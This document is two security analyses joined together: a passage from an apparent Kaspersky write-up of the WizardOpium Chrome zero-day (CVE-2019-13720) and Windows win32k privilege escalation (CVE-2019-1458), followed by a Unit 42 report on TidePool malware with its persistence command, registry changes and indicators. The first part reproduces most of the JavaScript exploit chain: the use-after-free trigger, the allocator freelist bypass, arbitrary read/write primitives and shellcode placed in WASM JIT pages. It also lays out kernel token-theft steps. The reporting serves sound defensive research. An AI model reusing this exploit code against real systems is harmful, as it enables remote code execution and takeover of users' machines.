let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
return partitionPageIndex;
}
function getMetadataAreaBaseFromPartitionSuperPage(addr) {
let superPageBase = getSuperPageBase(addr);
let systemPageSize = BigInt(0x1000);
return superPageBase + systemPageSize;
}
function getPartitionPageMetadataArea(addr) {
let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
let pageMetadataSize = BigInt(0x20);
let partitionPageMetadataPtr = getMetadataAreaBaseFromPartitionSuperPage(addr) + partitionPageIndex * pageMetadataSize;
return partitionPageMetadataPtr;
}
```
It’s interesting that the exploit also uses the relatively new built-in BigInt class to handle 64-bit values; authors usually use their own primitives in exploits.
At first, the code initiates OfflineAudioContext and creates a huge number of IIRFilterNode objects that are initialized via two float arrays.
```javascript
let gcPreventer = [];
let iirFilters = [];
function initialSetup() {
let audioCtx = new OfflineAudioContext(1, 20, 3000);
let feedForward = new Float64Array(2);
let feedback = new Float64Array(1);
feedback[0] = 1;
feedForward[0] = 0;
feedForward[1] = -1;
for (let i = 0; i < 256; i++)
iirFilters.push(audioCtx.createIIRFilter(feedForward, feedback));
}
```
After that, the exploit begins the initial stage of exploitation and tries to trigger a UAF bug. For that to work, the exploit creates the objects that are needed for the Reverb component. It creates another huge OfflineAudioContext object and two ConvolverNode objects – ScriptProcessorNode to start audio processing and AudioBuffer for the audio channel.
```javascript
async function triggerUaF(doneCb) {
let audioCtx = new OfflineAudioContext(2, 0x400000, 48000);
let bufferSource = audioCtx.createBufferSource();
let convolver = audioCtx.createConvolver();
let scriptNode = audioCtx.createScriptProcessor(0x4000, 1, 1);
let channelBuffer = audioCtx.createBuffer(1, 1, 48000);
convolver.buffer = channelBuffer;
bufferSource.buffer = channelBuffer;
bufferSource.loop = true;
bufferSource.loopStart = 0;
bufferSource.loopEnd = 1;
channelBuffer.getChannelData(0).fill(0);
bufferSource.connect(convolver);
convolver.connect(scriptNode);
scriptNode.connect(audioCtx.destination);
bufferSource.start();
let finished = false;
scriptNode.onaudioprocess = function(evt) {
let channelDataArray = new Uint32Array(evt.inputBuffer.getChannelData(0).buffer);
for (let j = 0; j < channelDataArray.length; j++) {
if (j + 1 < channelDataArray.length && channelDataArray[j] != 0 && channelDataArray[j + 1] != 0) {
let u64Array = new BigUint64Array(1);
let u32Array = new Uint32Array(u64Array.buffer);
u32Array[0] = channelDataArray[j + 0];
u32Array[1] = channelDataArray[j + 1];
let leakedAddr = byteSwapBigInt(u64Array[0]);
if (leakedAddr >> BigInt(32) > BigInt(0x8000))
leakedAddr -= BigInt(0x800000000000);
let superPageBase = getSuperPageBase(leakedAddr);
if (superPageBase > BigInt(0xFFFFFFFF) && superPageBase < BigInt(0xFFFFFFFFFFFF)) {
finished = true;
evt = null;
bufferSource.disconnect();
scriptNode.disconnect();
convolver.disconnect();
setTimeout(function() {
doneCb(leakedAddr);
}, 1);
return;
}
}
}
};
audioCtx.startRendering().then(function(buffer) {
buffer = null;
if (!finished) {
finished = true;
triggerUaF(doneCb);
}
});
while (!finished) {
convolver.buffer = null;
convolver.buffer = channelBuffer;
await later(100); // wait 100 milliseconds
}
}
```
This function is executed recursively. It fills the audio channel buffer with zeros, starts rendering offline, and at the same time runs a loop that nullifies and resets the channel buffer of the ConvolverNode object and tries to trigger a bug. The exploit uses the `later()` function to simulate the Sleep function, suspend the current thread, and let the Render and Audio threads finish execution right on time:
```javascript
function later(delay) {
return new Promise(resolve => setTimeout(resolve, delay));
}
```
During execution, the exploit checks if the audio channel buffer contains any data that differs from the previously set zeroes. The existence of such data would mean the UAF was triggered successfully and at this stage the audio channel buffer should contain a leaked pointer.
The PartitionAlloc memory allocator has a special exploit mitigation that works as follows: when the memory region is freed, it byteswaps the address of the pointer and after that, the byteswapped address is added to the FreeList structure. This complicates exploitation because the attempt to dereference such a pointer will crash the process. To bypass this technique, the exploit uses the following primitive that simply swaps the pointer back:
```javascript
function byteSwapBigInt(x) {
let result = BigInt(0);
let tmp = x;
for (let i = 0; i < 8; i++) {
result = result << BigInt(8);
result += tmp & BigInt(0xFF);
tmp = tmp >> BigInt(8);
}
return result;
}
```
The exploit uses the leaked pointer to get the address of the SuperPage structure and verifies it. If everything goes to plan, then it should be a raw pointer to a `temporary_buffer_` object of the `ReverbConvolverStage` class that is passed to the callback function `initialUAFCallback`.
```javascript
let sharedAudioCtx;
let iirFilterFeedforwardAllocationPtr;
function initialUAFCallback(addr) {
sharedAudioCtx = new OfflineAudioContext(1, 1, 3000);
let partitionPageIndexDelta = undefined;
switch (majorVersion) {
case 77: // 77.0.3865.75
partitionPageIndexDelta = BigInt(-26);
break;
case 76: // 76.0.3809.87
partitionPageIndexDelta = BigInt(-25);
break;
}
iirFilterFeedforwardAllocationPtr = getPartitionPageBaseWithinSuperPage(addr, getPartitionPageIndex(addr) + partitionPageIndexDelta) + BigInt(0xFF0);
triggerSecondUAF(byteSwapBigInt(iirFilterFeedforwardAllocationPtr), finalUAFCallback);
}
```
The exploit uses the leaked pointer to get the address of the raw pointer to the `feedforward_` array with the `AudioArray<double>` type that is present in the `IIRProcessor` object created with `IIRFilterNode`. This array should be located in the same SuperPage, but in different versions of Chrome, this object is created in different PartitionPages and there is a special code inside `initialUAFCallback` to handle that.
The vulnerability is actually triggered not once but twice. After the address of the right object is acquired, the vulnerability is exploited again. This time the exploit uses two AudioBuffer objects of different sizes, and the previously retrieved address is sprayed inside the larger AudioBuffer. This function also executes recursively.
```javascript
let floatArray = new Float32Array(10);
let audioBufferArray1 = [];
let audioBufferArray2 = [];
let imageDataArray = [];
async function triggerSecondUAF(addr, doneCb) {
let counter = 0;
let numChannels = 1;
let audioCtx = new OfflineAudioContext(1, 0x100000, 48000);
let bufferSource = audioCtx.createBufferSource();
let convolver = audioCtx.createConvolver();
let bigAudioBuffer = audioCtx.createBuffer(numChannels, 0x100, 48000);
let smallAudioBuffer = audioCtx.createBuffer(numChannels, 0x2, 48000);
smallAudioBuffer.getChannelData(0).fill(0);
for (let i = 0; i < numChannels; i++) {
let channelDataArray = new BigUint64Array(bigAudioBuffer.getChannelData(i).buffer);
channelDataArray[0] = addr;
}
bufferSource.buffer = bigAudioBuffer;
convolver.buffer = smallAudioBuffer;
bufferSource.loop = true;
bufferSource.loopStart = 0;
bufferSource.loopEnd = 1;
bufferSource.connect(convolver);
convolver.connect(audioCtx.destination);
bufferSource.start();
let finished = false;
audioCtx.startRendering().then(function(buffer) {
buffer = null;
if (finished) {
audioCtx = null;
setTimeout(doneCb, 200);
return;
} else {
finished = true;
setTimeout(function() {
triggerSecondUAF(addr, doneCb);
}, 1);
}
});
while (!finished) {
counter++;
convolver.buffer = null;
await later(1); // wait 1 millisecond
if (finished) break;
for (let i = 0; i < iirFilters.length; i++) {
floatArray.fill(0);
iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
if (floatArray[0] != 3.1415927410125732) {
finished = true;
audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
bufferSource.disconnect();
convolver.disconnect();
return;
}
}
convolver.buffer = smallAudioBuffer;
await later(1); // wait 1 millisecond
}
}
```
This time the exploit uses the function `getFrequencyResponse()` to check if exploitation was successful. The function creates an array of frequencies that is filled with a Nyquist filter and the source array for the operation is filled with zeroes.
```cpp
void IIRDSPKernel::GetFrequencyResponse(int n_frequencies, const float* frequency_hz, float* mag_response, float* phase_response) {
...
Vector<float> frequency(n_frequencies);
double nyquist = this->Nyquist();
// Convert from frequency in Hz to normalized frequency (0 -> 1),
// with 1 equal to the Nyquist frequency.
for (int k = 0; k < n_frequencies; ++k)
frequency[k] = frequency_hz[k] / nyquist;
...
}
```
If the resulting array contains a value other than π, it means exploitation was successful. If that’s the case, the exploit stops its recursion and executes the function `finalUAFCallback` to allocate the audio channel buffer again and reclaim the previously freed memory. This function also repairs the heap to prevent possible crashes by allocating various objects of different sizes and performing defragmentation of the heap. The exploit also creates `BigUint64Array`, which is used later to create an arbitrary read/write primitive.
```javascript
async function finalUAFCallback() {
for (let i = 0; i < 256; i++) {
floatArray.fill(0);
iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
if (floatArray[0] != 3.1415927410125732) {
await collectGargabe();
audioBufferArray2 = [];
for (let j = 0; j < 80; j++)
audioBufferArray1.push(sharedAudioCtx.createBuffer(1, 2, 10000));
iirFilters = new Array(1);
await collectGargabe();
for (let j = 0; j < 336; j++)
imageDataArray.push(new ImageData(1, 2));
imageDataArray = new Array(10);
await collectGargabe();
for (let j = 0; j < audioBufferArray1.length; j++) {
let auxArray = new BigUint64Array(audioBufferArray1[j].getChannelData(0).buffer);
if (auxArray[0] != BigInt(0)) {
kickPayload(auxArray);
return;
}
}
return;
}
}
}
```
Heap defragmentation is performed with multiple calls to the improvised `collectGarbage` function that creates a huge ArrayBuffer in a loop.
```javascript
function collectGargabe() {
let promise = new Promise(function(cb) {
let arg;
for (let i = 0; i < 400; i++)
new ArrayBuffer(1024 * 1024 * 60).buffer;
cb(arg);
});
return promise;
}
```
After those steps, the exploit executes the function `kickPayload()` passing the previously created `BigUint64Array` containing the raw pointer address of the previously freed AudioArray’s data.
```javascript
async function kickPayload(auxArray) {
let audioCtx = new OfflineAudioContext(1, 1, 3000);
let partitionPagePtr = getPartitionPageMetadataArea(byteSwapBigInt(auxArray[0]));
auxArray[0] = byteSwapBigInt(partitionPagePtr);
let i = 0;
do {
gcPreventer.push(new ArrayBuffer(8));
if (++i > 0x100000)
return;
} while (auxArray[0] != BigInt(0));
let freelist = new BigUint64Array(new ArrayBuffer(8));
gcPreventer.push(freelist);
...
}
```
The exploit manipulates the PartitionPage metadata of the freed object to achieve the following behavior. If the address of another object is written in `BigUint64Array` at index zero and if a new 8-byte object is created and the value located at index 0 is read back, then a value located at the previously set address will be read. If something is written at index 0 at this stage, then this value will be written to the previously set address instead.
```javascript
function read64(rwHelper, addr) {
rwHelper[0] = addr;
var tmp = new BigUint64Array;
tmp.buffer;
gcPreventer.push(tmp);
return byteSwapBigInt(rwHelper[0]);
}
function write64(rwHelper, addr, value) {
rwHelper[0] = addr;
var tmp = new BigUint64Array(1);
tmp.buffer;
tmp[0] = value;
gcPreventer.push(tmp);
}
```
After the building of the arbitrary read/write primitives comes the final stage – executing the code. The exploit achieves this by using a popular technique that exploits the WebAssembly (WASM) functionality. Google Chrome currently allocates pages for just-in-time (JIT) compiled code with read/write/execute (RWX) privileges, and this can be used to overwrite them with shellcode. At first, the exploit initiates a “stub” WASM module and it results in the allocation of memory pages for JIT compiled code.
```javascript
const wasmBuffer = new Uint8Array([...]);
const wasmBlob = new Blob([wasmBuffer], {
type: "application/wasm"
});
const wasmUrl = URL.createObjectURL(wasmBlob);
var wasmFuncA = undefined;
WebAssembly.instantiateStreaming(fetch(wasmUrl), {}).then(function(result) {
wasmFuncA = result.instance.exports.a;
});
```
To execute the exported function `wasmFuncA`, the exploit creates a FileReader object. When this object is initiated with data, it creates a FileReaderLoader object internally. If you can parse PartitionAlloc allocator structures and know the size of the next object that will be allocated, you can predict which address it will be allocated to. The exploit uses the `getPartitionPageFreeListHeadEntryBySlotSize()` function with the provided size and gets the address of the next free block that will be allocated by FileReaderLoader.
```javascript
let fileReader = new FileReader;
let fileReaderLoaderSize = 0x140;
let fileReaderLoaderPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (!fileReaderLoaderPtr)
return;
fileReader.readAsArrayBuffer(new Blob([]));
let fileReaderLoaderTestPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (fileReaderLoaderPtr == fileReaderLoaderTestPtr)
return;
```
The exploit obtains this address twice to find out if the FileReaderLoader object was created and if the exploit can continue execution. The exploit sets the exported WASM function to be a callback for a FileReader event (in this case, an onerror callback) and because the FileReader type is derived from EventTargetWithInlineData, it can be used to get the addresses of all its events and the address of the JIT compiled exported WASM function.
```javascript
fileReader.onerror = wasmFuncA;
let fileReaderPtr = read64(freelist, fileReaderLoaderPtr + BigInt(0x10)) - BigInt(0x68);
let vectorPtr = read64(freelist, fileReaderPtr + BigInt(0x28));
let registeredEventListenerPtr = read64(freelist, vectorPtr);
let eventListenerPtr = read64(freelist, registeredEventListenerPtr);
let eventHandlerPtr = read64(freelist, eventListenerPtr + BigInt(0x8));
let jsFunctionObjPtr = read64(freelist, eventHandlerPtr + BigInt(0x8));
let jsFunctionPtr = read64(freelist, jsFunctionObjPtr) - BigInt(1);
let sharedFuncInfoPtr = read64(freelist, jsFunctionPtr + BigInt(0x18)) - BigInt(1);
let wasmExportedFunctionDataPtr = read64(freelist, sharedFuncInfoPtr + BigInt(0x8)) - BigInt(1);
let wasmInstancePtr = read64(freelist, wasmExportedFunctionDataPtr + BigInt(0x10)) - BigInt(1);
let stubAddrFieldOffset = undefined;
switch (majorVersion) {
case 77:
stubAddrFieldOffset = BigInt(0x8) * BigInt(16);
break;
case 76:
stubAddrFieldOffset = BigInt(0x8) * BigInt(17);
break;
}
let stubAddr = read64(freelist, wasmInstancePtr + stubAddrFieldOffset);
```
The variable `stubAddr` contains the address of the page with the stub code that jumps to the JIT compiled WASM function. At this stage, it’s sufficient to overwrite it with shellcode. To do so, the exploit uses the function `getPartitionPageFreeListHeadEntryBySlotSize()` again to find the next free block of 0x20 bytes, which is the size of the structure for the ArrayBuffer object. This object is created when the exploit creates a new audio buffer.
```javascript
let arrayBufferSize = 0x20;
let arrayBufferPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, arrayBufferSize);
if (!arrayBufferPtr)
return;
let audioBuffer = audioCtx.createBuffer(1, 0x400, 6000);
gcPreventer.push(audioBuffer);
```
The exploit uses arbitrary read/write primitives to get the address of the DataHolder class that contains the raw pointer to the data and size of the audio buffer. The exploit overwrites this pointer with `stubAddr` and sets a huge size.
```javascript
let dataHolderPtr = read64(freelist, arrayBufferPtr + BigInt(0x8));
write64(freelist, dataHolderPtr + BigInt(0x8), stubAddr);
write64(freelist, dataHolderPtr + BigInt(0x10), BigInt(0xFFFFFFF));
```
Now all that’s needed is to implant a `Uint8Array` object into the memory of this audio buffer and place shellcode there along with the Portable Executable that will be executed by the shellcode.
```javascript
let payloadArray = new Uint8Array(audioBuffer.getChannelData(0).buffer);
payloadArray.set(shellcode, 0);
payloadArray.set(peBinary, shellcode.length);
```
To prevent the possibility of a crash, the exploit clears the pointer to the top of the FreeList structure used by the PartitionPage.
```javascript
write64(freelist, partitionPagePtr, BigInt(0));
```
Now, in order to execute the shellcode, it’s enough to call the exported WASM function.
```javascript
try {
wasmFuncA();
} catch (e) {}
```
## Microsoft Windows Elevation of Privilege Exploit
The shellcode appeared to be a Reflective PE loader for the Portable Executable module that was also present in the exploit. This module mostly consisted of the code to escape Google Chrome’s sandbox by exploiting the Windows kernel component `win32k` for the elevation of privileges and it was also responsible for downloading and executing the actual malware. On closer analysis, we found that the exploited vulnerability was in fact a zero-day. We notified Microsoft Security Response Center and they assigned it CVE-2019-1458 and fixed the vulnerability. The `win32k` component has something of a bad reputation. It has been present since Windows NT 4.0 and, according to Microsoft, it is responsible for more than 50% of all kernel security bugs. In the last two years alone, Kaspersky has found five zero-days in the wild that exploited `win32k` vulnerabilities. That’s quite an interesting statistic considering that since the release of Windows 10, Microsoft has implemented a number of mitigations aimed at complicating exploitation of `win32k` vulnerabilities and the majority of zero-days that we found exploited versions of Microsoft Windows prior to the release of Windows 10 RS4. The elevation of privilege exploit used in Operation WizardOpium was built to support Windows 7, Windows 10 build 10240, and Windows 10 build 14393. It’s also important to note that Google Chrome has a special security feature called Win32k lockdown. This security feature eliminates the whole `win32k` attack surface by disabling access to `win32k` syscalls from inside Chrome processes. Unfortunately, Win32k lockdown is only supported on machines running Windows 10. So, it’s fair to assume that Operation WizardOpium targeted users running Windows 7.
CVE-2019-1458 is an Arbitrary Pointer Dereference vulnerability. In `win32k`, Window objects are represented by a `tagWND` structure. There are also a number of classes based on this structure: ScrollBar, Menu, Listbox, Switch, and many others. The FNID field of `tagWND` structure is used to distinguish the type of class. Different classes also have various extra data appended to the `tagWND` structure. This extra data is basically just different structures that often include kernel pointers. Besides that, in the `win32k` component, there’s a syscall `SetWindowLongPtr` that can be used to set this extra data (after validation of course). It’s worth noting that `SetWindowLongPtr` was related to a number of vulnerabilities in the past (e.g., CVE-2010-2744, CVE-2016-7255, and CVE-2019-0859). There’s a common issue when pre-initialized extra data can lead to system procedures incorrectly handling. In the case of CVE-2019-1458, the validation performed by `SetWindowLongPtr` was just insufficient.
```cpp
xxxSetWindowLongPtr(tagWND *pwnd, int index, QWORD data, ...) {
...
if ((int)index >= gpsi->mpFnid_serverCBWndProc[(pwnd->fnid & 0x3FFF) - 0x29A] - sizeof(tagWND))
...
extraData = (BYTE*)tagWND + sizeof(tagWND) + index;
old = *(QWORD*)extraData;
*(QWORD*)extraData = data;
return old;
}
```
A check for the index parameter would have prevented this bug, but prior to the patch, the values for `FNID_DESKTOP`, `FNID_SWITCH`, `FNID_TOOLTIPS` inside the `mpFnid_serverCBWndProc` table were not initialized, rendering this check useless and allowing the kernel pointers inside the extra data to be overwritten.
Triggering the bug is quite simple: at first, you create a Window, then `NtUserMessageCall` can be used to call any system class window procedure.
```cpp
gpsi->mpFnidPfn[(dwType + 6) & 0x1F]((tagWND *)wnd, msg, wParam, lParam, resultInfo);
```
It’s important to provide the right message and `dwType` parameters. The message needs to be equal to `WM_CREATE`. `dwType` is converted to `fnIndex` internally with the following calculation: `(dwType + 6) & 0x1F`. The exploit uses a `dwType` equal to `0xE0`. It results in an `fnIndex` equal to 6, which is the function index of `xxxSwitchWndProc` and the `WM_CREATE` message sets the FNID field to be equal to `FNID_SWITCH`.
```cpp
LRESULT xxxSwitchWndProc(tagWND *wnd, UINT msg, WPARAM wParam, LPARAM lParam) {
...
pti = *(tagTHREADINFO **)&gptiCurrent;
if (wnd->fnid != FNID_SWITCH) {
if (wnd->fnid || wnd->cbwndExtra + 296 < (unsigned int)gpsi->mpFnid_serverCBWndProc[6])
return 0i64;
if (msg != 1)
return xxxDefWindowProc(wnd, msg, wParam, lParam);
if (wnd[1].head.h)
return 0i64;
wnd->fnid = FNID_SWITCH;
}
switch (msg) {
case WM_CREATE:
zzzSetCursor(wnd->pcls->spcur, pti, 0i64);
break;
case WM_CLOSE:
xxxSetWindowPos(wnd, 0, 0);
xxxCancelCoolSwitch();
break;
case WM_ERASEBKGND:
case WM_FULLSCREEN:
pti->ptl = (_TL *)&pti->ptl;
++wnd->head.cLockObj;
xxxPaintSwitchWindow(wnd, pti, 0i64);
ThreadUnlock1();
return 0i64;
}
}
```
The vulnerability in `NtUserSetWindowLongPtr` can then be used to overwrite the extra data at index zero, which happens to be a pointer to a structure containing information about the Switch Window. In other words, the vulnerability makes it possible to set some arbitrary kernel pointer that will be treated as this structure.
At this stage, it’s enough to call `NtUserMessageCall` again, but this time with a message equal to `WM_ERASEBKGND`. This results in the execution of the function `xxxPaintSwitchWindow` that increments and decrements a couple of integers located by the pointer that we previously set.
```cpp
sub [rdi+60h], ebx
add [rdi+68h], ebx
...
sub [rdi+5Ch], ecx
add [rdi+64h], ecx
```
An important condition for triggering the exploitable code path is that the ALT key needs to be pressed.
Exploitation is performed by abusing Bitmaps. For successful exploitation, a few Bitmaps need to be allocated next to each other, and their kernel addresses need to be known. To achieve this, the exploit uses two common kernel ASLR bypass techniques. For Windows 7 and Windows 10 build 10240 (Threshold 1), the Bitmap kernel addresses are leaked via the `GdiSharedHandleTable` technique: in older versions of the OS, there is a special table available in the user level that holds the kernel addresses of all GDI objects present in the process. This particular technique was patched in Windows 10 build 14393 (Redstone 1), so for this version, the exploit uses another common technique that abuses Accelerator Tables (patched in Redstone 2). It involves creating a Create Accelerator Table object, leaking its kernel address from the `gSharedInfo` HandleTable available in the user level, and then freeing the Accelerator Table object and allocating a Bitmap reusing the same memory address.
The whole exploitation process works as follows: the exploit creates three bitmaps located next to each other and their addresses are leaked. The exploit prepares Switch Window and uses a vulnerability in `NtUserSetWindowLongPtr` to set an address pointing near the end of the first Bitmap as Switch Window extra data. Bitmaps are represented by a `SURFOBJ` structure and the previously set address needs to be calculated in a way that will make the `xxxPaintSwitchWindow` function increment the `sizlBitmap` field of the `SURFOBJ` structure for the Bitmap allocated next to the first one. The `sizlBitmap` field indicates the bounds of the pixel data buffer and the incremented value will allow the use of the function `SetBitmapBits()` to perform an out-of-bounds write and overwrite the `SURFOBJ` of the third Bitmap object. The `pvScan0` field of the `SURFOBJ` structure is an address of the pixel data buffer, so the ability to overwrite it with an arbitrary pointer results in arbitrary read/write primitives via the functions `GetBitmapBits()/SetBitmapBits()`. The exploit uses these primitives to parse the `EPROCESS` structure and steal the system token. To get the kernel address of the `EPROCESS` structure, the exploit uses the function `EnumDeviceDrivers`. This function works according to its MSDN description and it provides a list of kernel addresses for currently loaded drivers. The first address in the list is the address of `ntkrnl` and to get the offset to the `EPROCESS` structure, the exploit parses an executable in search for the exported `PsInitialSystemProcess` variable.
It’s worth noting that this technique still works in the latest versions of Windows (tested with Windows 10 19H1 build 18362). Stealing the system token is the most common post-exploitation technique that we see in the majority of elevation of privilege exploits. After acquiring system privileges, the exploit downloads and executes the actual malware.
## Conclusions
It was particularly interesting for us to examine the Chrome exploit because it was the first Google Chrome in-the-wild zero-day encountered for a while. It was also interesting that it was used in combination with an elevation of privilege exploit that didn’t allow exploitation on the latest versions of Windows mostly due to the Win32k lockdown security feature of Google Chrome. With regards to privilege elevation, it was also interesting that we found another 1-day exploit for this vulnerability just one week after the patch, indicating how simple it is to exploit this vulnerability.
We would like to thank the Google Chrome and Microsoft security teams for fixing these vulnerabilities so quickly. Google was generous enough to offer a bounty for CVE-2019-13720. The reward was donated to charity and Google matched the donation. |
# Operation Ke3chang Resurfaces With New TidePool Malware
**By Micah Yates, Mike Scott, Brandon Levene, Jen Miller-Osborn, Tom Keigher**
**May 22, 2016**
**Category:** Malware, Unit 42
**Tags:** AutoFocus, BS2005, CVE-2015-2545, Ke3chang, Operation Ke3chang, TidePool
## Introduction
Little has been published on the threat actors responsible for Operation Ke3chang since the report was released more than two years ago. However, Unit 42 has recently discovered the actors have continued to evolve their custom malware arsenal. We’ve discovered a new malware family we’ve named TidePool. It has strong behavioral ties to Ke3chang and is being used in an ongoing attack campaign against Indian embassy personnel worldwide. This targeting is also consistent with previous attacker TTPs; Ke3chang historically targeted the Ministry of Affairs and also conducted several prior campaigns against India.
Though we don’t have comprehensive targeting information, the spear phishing emails we found targeted several Indian embassies in different countries. One decoy references an annual report filed by over 30 Indian embassies across the globe. The sender addresses of the phishing emails spoof real people with ties to Indian embassies, adding legitimacy to the emails to prompt the recipients to open the attached file. Also noteworthy, the actors are exploiting a relatively new vulnerability in their attacks with TidePool, which is detailed below.
In this report, we will highlight the reuse of the code responsible for a variety of registry changes and command and control traffic over time as the Ke3chang actor has evolved their codebase to TidePool since the 2013 report.
## Exploitation of CVE-2015-2545
The weaponized document sent in phishing emails triggers the vulnerability outlined in CVE-2015-2545, which was first made public in September 2015. Unlike previously seen exploit carrier docs, this version comes packaged as an MHTML document which by default opens in Microsoft Word. We have seen multiple waves of activity with similar exploit docs, including those referenced in our recent Spivy blog. PwC recently released a great report analyzing the exploit documents themselves. The samples we are covering are documented in the "Windows User_A" section of their report (the malware they refer to as "Danti Downloader").
## The TidePool Malware Family
TidePool contains many capabilities common to most RATs. It allows the attacker to read, write and delete files and folders, and run commands over named pipes. TidePool gathers information about the victim's computer, base64 encodes the data, and sends it to the Command and Control (C2) server via HTTP, which matches capabilities of the BS2005 malware family used by the Ke3chang actor.
The TidePool malware is housed in an MHTML document which exploits CVE-2015-2545. The exploit code drops a DLL into `C:\Documents and Settings\AllUsers\IEHelper\mshtml.dll`. This dropped DLL is the TidePool sample. It also launches Internet Explorer as a subprocess of the svchost service. For persistence, TidePool utilizes an ActiveSetup key, which will launch itself on boot with the following parameters:
```
rundll32.exe C:\DOCUME~1\ALLUSE~1\IEHelper\mshtml.dll,,IEHelper
```
The TidePool sample then sends victim computer information to the C2 server. Once a connection is made, the sample behaves as a RAT, receiving commands from the C2.
## The Evolution From BS2005 to TidePool
During our initial triage of the TidePool samples in AutoFocus, we noticed Windows Registry modifications that by themselves were not unique, but when viewed together were used by multiple malware families. One of these families is the "BS2005" malware family used by the Ke3chang actor. This motivated us to dig deeper, since we had not seen any public reporting on them since 2013. From this analysis, Unit 42 compared the code bases of the new malware family and the BS2005 malware samples. Based on our analysis, we believe this new malware, which we are calling TidePool, is an evolution of the BS2005 malware family used by the Ke3chang actor.
Unit 42 has discovered 11 similar registry modifications that both TidePool and BS2005 employ. The registry setting that TidePool and BS2005 focuses on is:
```
Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IEHarden -> 0
```
When the IEHarden Value is set to 0, it disables the Internet Explorer Enhanced Security configuration, which is designed to prevent the execution of scripts, ActiveX Controls, file downloads, and the Microsoft virtual machine for HTML content. This is a technique common to both BS2005 and TidePool malware.
Below is the routine within TidePool that modifies the IEHarden registry settings. The repetition, order, and uniqueness of the code base in this function allowed us to link TidePool back to older versions of BS2005 and Operation Ke3chang.
Code reuse overlap also allowed us to link the various interim malware iterations between Ke3chang and TidePool together. Going over every single code overlap would be tiresome, so we'll highlight major functional similarities that allowed us to link TidePool to Operation Ke3chang. A listing of similar hashes and their compile dates can be found in the IOC section at the end of this blog. They are also divided into those that pre-date the Operation Ke3chang report and those that came after.
We compared 5 key samples that link TidePool to the original Operation Ke3chang malware. In order of comparison and usage, we looked at:
- **BS2005 Operation Ke3chang sample**
`233bd004ad778b7fd816b80380c9c9bd2dba5b694863704ef37643255797b41f` (2013 post Ke3chang)
`6012fe5fa86340a90055f7ab71e1e9989db8e7bb7594cd9c8c737c3a6231bc8cc` (2014 post Ke3chang)
`04db80d8da9cd927e7ee8a44bfa3b4a5a126b15d431cbe64a508d4c2e407ec05` (2014 post Ke3chang)
`eca724dd63cf7e98ff09094e05e4a79e9f8f2126af3a41ff5144929f8fede4b4` (2015 Current TidePool)
`2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18`
Starting with a known Operation Ke3chang BS2005 sample, we focus on the C2 obfuscation.
Not only do BS2005 and TidePool share repeating registry behaviors, they also use a similar code routine to obfuscate the C2. Further analysis shows that they also share similar Base64 string handling. This routine goes back even further to MyWeb malware samples, also associated with Operation Ke3chang.
Next, we compared the codebase for setting registry keys. The code reuse displayed in the sequence that sets the IEHarden registry keys and other keys used throughout TidePool and Operation Ke3chang malware.
The code that handles URL beacon creation is shown in the comparison of code blocks responsible for URL creation.
Finally, we compared the following two samples:
- `04db80d8da9cd927e7ee8a44bfa3b4a5a126b15d431cbe64a508d4c2e407ec05`
- `2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18`
These samples are quite similar when looking at the library functions used, but the most notable features they have in common are the timeline of behaviors executed. Ke3chang and TidePool both modify the IEHarden registry key, as well as the following list of keys. Setting these registry keys is unique to the Ke3chang and TidePool malware families.
- `HKCU\Software\Microsoft\Internet Explorer\Main\Check_Associations`
- `HKCU\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize`
- `HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IEharden`
## A Few Words On Attribution
Attribution is an inexact process; however, we have compiled several interesting findings which lend themselves to our conclusion that this activity and malware is related to the original Operation Ke3chang.
- Strong behavioral overlap between the TidePool malware family and malware called BS2005 utilized by Operation Ke3chang.
- Strong code reuse and overlap showing a branching and evolution of malware from BS2005 to TidePool.
- Targeting and attack method matches historic Ke3chang targeting.
- When binaries included resources, encoding was 0x04 (LANG_CHINESE) indicating the actor’s system is likely running an operating system and software with Chinese as the default display language.
## Conclusion
Despite going unreported on since 2013, Operation Ke3chang has not ceased operations and in fact continued developing its malware. Unit 42 was able to track the evolution of Operation Ke3chang’s tools by observing unique behavioral quirks common throughout the malware’s lineage. By pivoting on these behaviors in AutoFocus, we were able to assess a relationship between these families dating back to at least 2012 and the creation of TidePool, a new malware family continuing in Ke3chang’s custom malware footsteps. While we can’t know all of the groups’ attacks using TidePool or older malware, we have uncovered its use against Indian Embassies, which was also documented in the 2013 report, indicating this is likely a high priority target as it has continued over multiple years.
Customers can utilize the Ke3changResurfaces AutoFocus tag to examine the samples discussed in this post. IPS coverage for TidePool is provided by TID 14588.
## TidePool IOCs
**Phishing emails:**
- `4d5e0eddcd014c63123f6a46af7e53b5ac25a7ff7de86f56277fe39bff32c7b5`
- `1896d190ed5c5d04d74f8c2bfe70434f472b43441be824e81a31b7257b717e51`
- `de5060b7e9aaaeb8d24153fe35b77c27c95dadda5a5e727d99f407c8703db649`
**Weaponized document attachments:**
- `785e8a39eb66e872ff5abee48b7226e99bed2e12bc0f68fc430145a00fe523db`
- `eea3f90db41f872da8ed542b37948656b1fb93b12a266e8de82c6c668e60e9fc`
**TidePool Dropper:**
- `38f2c86041e0446730479cdb9c530298c0c4936722975c4e7446544fd6dcac9f`
**TidePool DLLs:**
- `67c4e8ab0f12fae7b4aeb66f7e59e286bd98d3a77e5a291e8d58b3cfbc1514ed`
- `2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18`
- `9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba`
**C2 domain:**
- `goback.strangled[.]net`
## TidePool Sample Groupings
